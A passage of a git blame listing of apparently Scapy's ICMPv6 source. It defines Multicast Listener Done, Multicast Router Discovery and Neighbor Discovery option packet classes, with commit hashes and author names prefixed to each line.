1546c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLDone(_ICMPv6ML): # RFC 2710
1547c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MLD - Multicast Listener Done"
1548c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 132
1549f9727001edc936020f47735a7653bbe1d2533026Guillaume Valadon    overload_fields = {IPv6: { "dst": "ff02::2", "hlim": 1, "nh": 58}}
1550c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1551c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1552c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil########## ICMPv6 MRD - Multicast Router Discovery (RFC 4286) ###############
1553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
15540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# TODO:
1555c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - 04/09/06 troglocan : find a way to automatically add a router alert
1556c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            option for all MRD packets. This could be done in a specific
1557c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            way when IPv6 is the under layer with some specific keyword
1558c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            like 'exthdr'. This would allow to keep compatibility with
1559c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            providing IPv6 fields to be overloaded in fields_desc.
15600d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#
1561c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            At the moment, if user inserts an IPv6 Router alert option
1562c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            none of the IPv6 default values of IPv6 layer will be set.
1563c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1564c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Advertisement(_ICMPv6):
1565c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Multicast Router Discovery Advertisement"
1566c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ByteEnumField("type", 151, icmp6types),
1567c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("advinter", 20),
1568c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   XShortField("cksum", None),
1569c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ShortField("queryint", 0),
1570c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ShortField("robustness", 0)]
1571c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}}
1572c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                       # IPv6 Router Alert requires manual inclusion
1573c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
1574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:8], s[8:]
1575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1576c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Solicitation(_ICMPv6):
1577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Multicast Router Discovery Solicitation"
1578c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ByteEnumField("type", 152, icmp6types),
1579c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("res", 0),
1580c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   XShortField("cksum", None) ]
1581c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}}
1582c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                       # IPv6 Router Alert requires manual inclusion
1583c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
1584c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:4], s[4:]
1585c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1586c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Termination(_ICMPv6):
1587c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Multicast Router Discovery Termination"
1588c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ByteEnumField("type", 153, icmp6types),
1589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("res", 0),
1590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   XShortField("cksum", None) ]
15910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::6A"}}
1592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                       # IPv6 Router Alert requires manual inclusion
1593c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
1594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:4], s[4:]
1595c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1597c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################### ICMPv6 Neighbor Discovery (RFC 2461) ####################
1598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1599c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6ndopts = { 1: "Source Link-Layer Address",
1600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                2: "Target Link-Layer Address",
1601c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                3: "Prefix Information",
1602c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                4: "Redirected Header",
1603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                5: "MTU",
1604c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                6: "NBMA Shortcut Limit Option", # RFC2491
1605c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                7: "Advertisement Interval Option",
1606c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                8: "Home Agent Information Option",
1607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                9: "Source Address List",
1608c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               10: "Target Address List",
1609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               11: "CGA Option",            # RFC 3971
1610c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               12: "RSA Signature Option",  # RFC 3971
1611c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               13: "Timestamp Option",      # RFC 3971
1612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               14: "Nonce option",          # RFC 3971
1613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               15: "Trust Anchor Option",   # RFC 3971
1614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               16: "Certificate Option",    # RFC 3971
1615c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               17: "IP Address Option",                             # RFC 4068
1616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               18: "New Router Prefix Information Option",          # RFC 4068
1617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               19: "Link-layer Address Option",                     # RFC 4068
16180d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               20: "Neighbor Advertisement Acknowledgement Option",
1619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               21: "CARD Request Option", # RFC 4065/4066/4067
1620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               22: "CARD Reply Option",   # RFC 4065/4066/4067
1621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               23: "MAP Option",          # RFC 4140
1622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               24: "Route Information Option",  # RFC 4191
1623c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               25: "Recusive DNS Server Option",
1624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               26: "IPv6 Router Advertisement Flags Option"
1625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                }
16260d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1627c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6ndoptscls = { 1: "ICMPv6NDOptSrcLLAddr",
1628c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   2: "ICMPv6NDOptDstLLAddr",
1629c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   3: "ICMPv6NDOptPrefixInfo",
1630c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   4: "ICMPv6NDOptRedirectedHdr",
1631c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   5: "ICMPv6NDOptMTU",
1632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   6: "ICMPv6NDOptShortcutLimit",
1633c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   7: "ICMPv6NDOptAdvInterval",
1634c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   8: "ICMPv6NDOptHAInfo",
1635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   9: "ICMPv6NDOptSrcAddrList",
1636c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  10: "ICMPv6NDOptTgtAddrList",
1637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #11: Do Me,
1638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #12: Do Me,
1639c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #13: Do Me,
1640c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #14: Do Me,
1641c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #15: Do Me,
1642c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #16: Do Me,
16430d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                  17: "ICMPv6NDOptIPAddr",
1644c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  18: "ICMPv6NDOptNewRtrPrefix",
1645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  19: "ICMPv6NDOptLLA",
1646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #18: Do Me,
1647c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #19: Do Me,
1648c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #20: Do Me,
1649c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #21: Do Me,
1650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #22: Do Me,
1651c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  23: "ICMPv6NDOptMAP",
1652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  24: "ICMPv6NDOptRouteInfo",
1653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  25: "ICMPv6NDOptRDNSS",
16542e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                  26: "ICMPv6NDOptEFA",
16552e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                  31: "ICMPv6NDOptDNSSL"
1656c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  }
1657c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1658c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NDGuessPayload:
1659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Dummy ND class that implements guess_payload_class()"
1660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def guess_payload_class(self,p):
1661c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if len(p) > 1:
1662b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            return get_cls(icmp6ndoptscls.get(orb(p[0]),"Raw"), "Raw") # s/Raw/ICMPv6NDOptUnknown/g ?
1663c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1664c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1665c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Beginning of ICMPv6 Neighbor Discovery Options.
1666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1667c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet):
1668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented"
1669c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",None),
1670c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len",None,length_of="data",fmt="B",
1671c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x+2),
1672c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("data","",
1673c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.len-2) ]
1674c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1675c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# NOTE: len includes type and len field. Expressed in unit of 8 bytes
1676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: Revoir le coup du ETHER_ANY
1677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet):
1678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address"
1679c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 1),
1680c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1681c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    MACField("lladdr", ETHER_ANY) ]
16820d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1683c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %lladdr%")
1684c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1685c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr):
1686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address"
1687c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 2
1688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet):
1690c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Prefix Information"
1691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",3),
1692c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",4),
1693c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("prefixlen",None),
1694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("L",1,1),
1695c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("A",1,1),
1696c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("R",0,1),
1697c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res1",0,5),
1698291400c1b6f65363e33cc982aaf0d43d31cc424egpotter                    XIntField("validlifetime",0xffffffff),
1699291400c1b6f65363e33cc982aaf0d43d31cc424egpotter                    XIntField("preferredlifetime",0xffffffff),
1700c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("res2",0x00000000),
1701c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("prefix","::") ]
17020d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1703c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %prefix%")
1704c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1705c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: We should also limit the size of included packet to something
1706c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# like (initiallen - 40 - 2)
1707c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass TruncPktLenField(PacketLenField):
1708b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["cur_shift"]
1709c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1710c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, cls, cur_shift, length_from=None, shift=0):
1711c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        PacketLenField.__init__(self, name, default, cls, length_from=length_from)
1712c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.cur_shift = cur_shift
1713c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1714c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
1715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.length_from(pkt)
1716c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        i = self.m2i(pkt, s[:l])
1717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[l:],i
17184e957e091da2c111732db403e6db503f4b383157Jochen Bartl
1719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def m2i(self, pkt, m):
17204e957e091da2c111732db403e6db503f4b383157Jochen Bartl        s = None
1721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try: # It can happen we have sth shorter than 40 bytes
1722c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s = self.cls(m)
1723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
17247b3e970663abd72697e17b70aba9943ae0dad404Phil            return conf.raw_layer(m)
1725c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
1726c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1727c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
17285e8857410015a93f6371459b2f870432ded39b9fgpotter        s = raw(x)
1729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = len(s)
1730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        r = (l + self.cur_shift) % 8
17314e957e091da2c111732db403e6db503f4b383157Jochen Bartl        l = l - r
1732c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:l]
1733c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1734c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
1735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return len(self.i2m(pkt, i))
1736c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
17374e957e091da2c111732db403e6db503f4b383157Jochen Bartl
1738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Faire un post_build pour le recalcul de la taille (en multiple de 8 octets)
1739c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet):
1740c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Redirected Header"
1741c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",4),
1742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="pkt", fmt="B",
174363ae11708b02df74dd3e8d2385d2829f3d622d66gpotter                                  adjust = lambda pkt,x:(x+8)//8),
17442a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("res", b"\x00"*6, 6),
17451186356a1d73fd59b700d8af05e789d0e8899de6gpotter                    TruncPktLenField("pkt", b"", IPv6, 8,
17464e957e091da2c111732db403e6db503f4b383157Jochen Bartl                                     length_from = lambda pkt: 8*pkt.len-8) ]
1747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1748c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# See which value should be used for default MTU instead of 1280
1749c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet):
1750c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - MTU"
1751c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",5),
1752c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",1),
1753c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("res",0),
1754c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("mtu",1280)]
1755c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491
1757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit"
1758c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 6),
1759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("shortcutlim", 40), # XXX
1761c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res1", 0),
1762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res2", 0) ]
17630d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1764c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet):
1765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Interval Advertisement"
1766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",7),
1767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",1),
1768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("res", 0),
1769c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("advint", 0) ]
17700d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1771c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %advint% milliseconds")
1772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
17730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet):
1774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Home Agent Information"
1775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",8),
1776c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",1),
1777c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("res", 0),
1778c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("pref", 0),
1779c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("lifetime", 1)]
17800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1781c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %pref% %lifetime% seconds")
1782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1783c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# type 9  : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support
1784c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1785c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support
1786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
178777132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet):  # RFC 4068
1788c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)"
1789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",17),
1790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 3),
1791c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("optcode", 1, {1: "Old Care-Of Address",
1792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                 2: "New Care-Of Address",
1793c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                 3: "NAR's IP address" }),
1794c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", 64),
1795c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res", 0),
1796c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("addr", "::") ]
1797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1798c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068
1799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)"
1800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",18),
1801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 3),
1802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("optcode", 0),
1803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", 64),
1804c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res", 0),
1805c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("prefix", "::") ]
1806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1807c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP",
1808c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        1: "LLA for the new AP",
1809c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        2: "LLA of the MN",
1810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        3: "LLA of the NAR",
1811c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        4: "LLA of the src of TrSolPr or PrRtAdv msg",
1812c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        5: "AP identified by LLA belongs to current iface of router",
1813c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        6: "No preifx info available for AP identified by the LLA",
1814c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        7: "No fast handovers support for AP identified by the LLA" }
1815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
181677132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet):     # RFC 4068
1817c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)"
1818c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 19),
1819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("optcode", 0, _rfc4068_lla_optcode),
1821c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    MACField("lla", ETHER_ANY) ] # We only support ethernet
1822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
182377132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet):     # RFC 4140
1824c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - MAP Option"
1825c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 23),
1826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 3),
1827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("dist", 1, 4),
1828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("pref", 15, 4), # highest availability
1829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("R", 1, 1),
